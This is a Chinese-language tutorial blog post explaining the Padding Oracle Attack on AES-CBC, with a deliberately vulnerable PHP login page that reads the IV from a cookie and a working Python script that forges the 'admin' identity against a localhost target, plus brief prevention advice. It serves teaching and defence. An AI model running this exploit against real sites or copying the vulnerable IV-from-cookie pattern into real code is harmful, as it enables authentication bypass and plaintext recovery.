初学Padding Oracle Attack

0x01 简介

Padding Oracle Attack是一种针对CBC模式分组加密算法的攻击。它可以在不知道密钥(key)的情况下,通过对padding bytes的尝试,还原明文,或者构造出任意明文的密文。

0x02 原理

在密码学中,分组加密(Block cipher),又称分块加密块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密,block的大小常见的有64bit、128bit、256bit等。在分组加密的CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。加密过程大致如下图所示:

在这个过程中,如果最后一个分组的消息长度没有达到block的大小,则需要填充一些字节,被称为padding。以16个字节一个block为例,如果明文是I_am_Bob,长度为八个字节,则剩下的八个字节被填充了0x08,0x08,0x08,0x08,0x08,0x08,0x08,0x08这八个相同的字节,每个字节的值等于需要填充的字节长度。

aes-128-cbc加密模式为例,加密I_am_Bob的过程大致如下:

类似的,解密过程大致如下:

在解密完成后,如果最后的padding值不正确,解密程序往往会抛出异常(padding error)。而利用应用的错误回显,攻击者往往可以判断出padding是否正确,这就是Padding Oracle Attack的前提。

0x03 攻击

如果攻击者已知并可以控制IV的值,那么攻击者就可以进行Padding Oracle Attack。还是以I_am_Bob和aes-128-cbc加密模式为例。攻击者构造IV为16个0字节,那么此时在解密时的padding是不正确的。

正确的padding值只可能为:
1个字节的padding为0x01
2个字节的padding为0x02,0x02
3个字节的padding为0x03,0x03,0x03
4个字节的padding为0x04,0x04,0x04,0x04
……

因为慢慢调整IV的值,以希望解密后,最后一个字节的值为正确的padding byte,比如一个0x01。

因为middle是固定的(此时我们不知道middle的值),所以从0x00到0xFF之间,只可能有一个值与middle的最后一个字节异或后,结果是0x01。通过遍历这255个值,可以找出IV需要的最后一个字节。

此时根据异或的性质,使用0x5e0x01进行异或就可以得到middle的最后一个值0x5f

在正确匹配了padding “0x01” 后,需要做的是继续推导出剩下的middle。根据padding的标准,当需要padding两个字节时,其值应该为0x02,0x02。而我们已经知道了middle的最后一个字节为0x5f,因此可以更新IV的最后一个字节为0x5f^0x02=0x5d,此时可以开始遍历IV的倒数第二个字节。

由此可得middle的倒数第二个字节为0x3c^0x02=0x3e。以此类推,可以推导出所有的middle。

获得middle后,与原来的IV进行异或,便可得到明文。在这个过程中,仅仅用到了密文和IV,通过对padding的推导,即可还原出明文,而不需要知道密钥(key)是什么。而IV并不需要保密,它往往是以明文形式发送的。

而获得middle后,还可以通过改变IV,使密文解密为任意明文。根据异或的性质,有:

原明文 ^ 原IV = middle
新明文 ^ 新IV = middle
∴ 原明文 ^ 原IV ^ 新明文 = 新IV

故只要把原IV改为计算得到的新IV,就可使密文解密为任意明文。

0x04 实例

假设某网站的后端身份验证代码如下:

<?php
error_reporting(0);
define("SECRET_KEY", "******"); //key不可知
define("METHOD", "aes-128-cbc");
session_start();

function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}

function get_identity(){
    $id = '***'; //原明文不可知
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    $_SESSION['isadmin'] = false;
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = true;
            }
        }else
            echo "Error!";
    }
}

if(!isset($_SESSION['id']))
    get_identity();
test_identity();
if ($_SESSION["isadmin"])
    echo "You are admin!";
else
    echo "false";
?>

分析代码可知,该网站把用户的id用随机生成的token作为IV进行aes-128-cbc模式加密,并把加密后的id储存在session中,token储存在cookie中。而之后会把session中的id进行解密来验证用户是否为管理员。

在这种情况下,我们可以修改cookie中的token的值,也就是解密时的IV的值,那么就可以进行Padding Oracle Attack,从而获得管理员的身份。

具体的思路是:我们通过Padding Oracle Attack来获得aes-128-cbc加密中的middle的值,然后再修改token的值使其和middle进行xor后所得的值为admin,这样就能通过身份验证,获得管理员权限。

攻击脚本如下:

# -*- coding: utf-8 -*-
import requests
import base64
url = 'http://127.0.0.1/cbc.php'
N = 16

def inject_token(token):
    header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token}
    result = requests.post(url, headers = header)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def pad(string, N):
    l = len(string)
    if l != N:
        return string + chr(N - l) * (N - l)

def padding_oracle(N):
    get = ""
    for i in xrange(1, N+1):
        for j in xrange(0, 256):
            padding = xor(get, chr(i) * (i-1))
            c = chr(0) * (16-i) + chr(j) + padding
            result = inject_token(base64.b64encode(c))
            if "Error!" not in result.content:
                get = chr(j ^ i) + get
                break
    return get

while 1:
    session = requests.get(url).headers['Set-Cookie'].split(',')
    phpsession = session[0].split(";")[0][10:]
    print phpsession
    token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64')
    middle1 = padding_oracle(N)
    print "\n"
    if(len(middle1) + 1 == 16):
        for i in xrange(0, 256):
            middle = chr(i) + middle1
            print "token:" + token
            print "middle:" + middle
            plaintext = xor(middle,token)
            print "plaintext:" + plaintext
            des = pad('admin', N)
            tmp = ""
            print des.encode("base64")
            for i in xrange(16):
                tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
            print tmp.encode('base64')
            result = inject_token(base64.b64encode(tmp))
            if "You are admin!" in result.content:
                print result.content
                print "success"
                exit()

在这个攻击脚本中需要注意是的middle的后十五位都可以通过Padding Oracle Attack正常的解出,但是在解第一位时按逻辑应该解出全为padding的plaintext(在这个环境下也就是16个0x10),即解密的结果为NULL。而在验证代码中的验证条件为

if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)

所以在解第一位成功时为if(NULL),依然不满足if条件,无法进入验证成功逻辑,所以要对第一位进行爆破而不是Padding Oracle Attack。

最后攻击结果如图:

0x05 预防

Padding Oracle Attack的关键在于:

  1. 攻击者能够获知并修改IV
  2. 攻击者能够获知解密的结果是否符合padding

那么在实现和使用CBC模式的分组加密算法时,只要注意这两点,只要其中任意一个条件不能满足,攻击者就无法实施攻击。

发表评论